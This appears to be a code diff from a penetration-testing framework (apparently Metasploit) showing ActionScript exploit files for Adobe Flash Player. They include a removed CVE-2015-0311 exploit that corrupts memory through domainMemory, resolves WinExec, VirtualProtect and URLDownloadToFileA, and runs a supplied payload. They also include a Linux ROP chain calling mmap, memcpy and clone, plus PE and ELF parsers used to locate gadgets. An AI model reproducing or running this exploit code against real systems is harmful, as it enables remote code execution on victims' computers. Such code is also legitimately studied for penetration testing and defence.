eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,243 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

Some files were not shown because too many files have changed in this diff Show More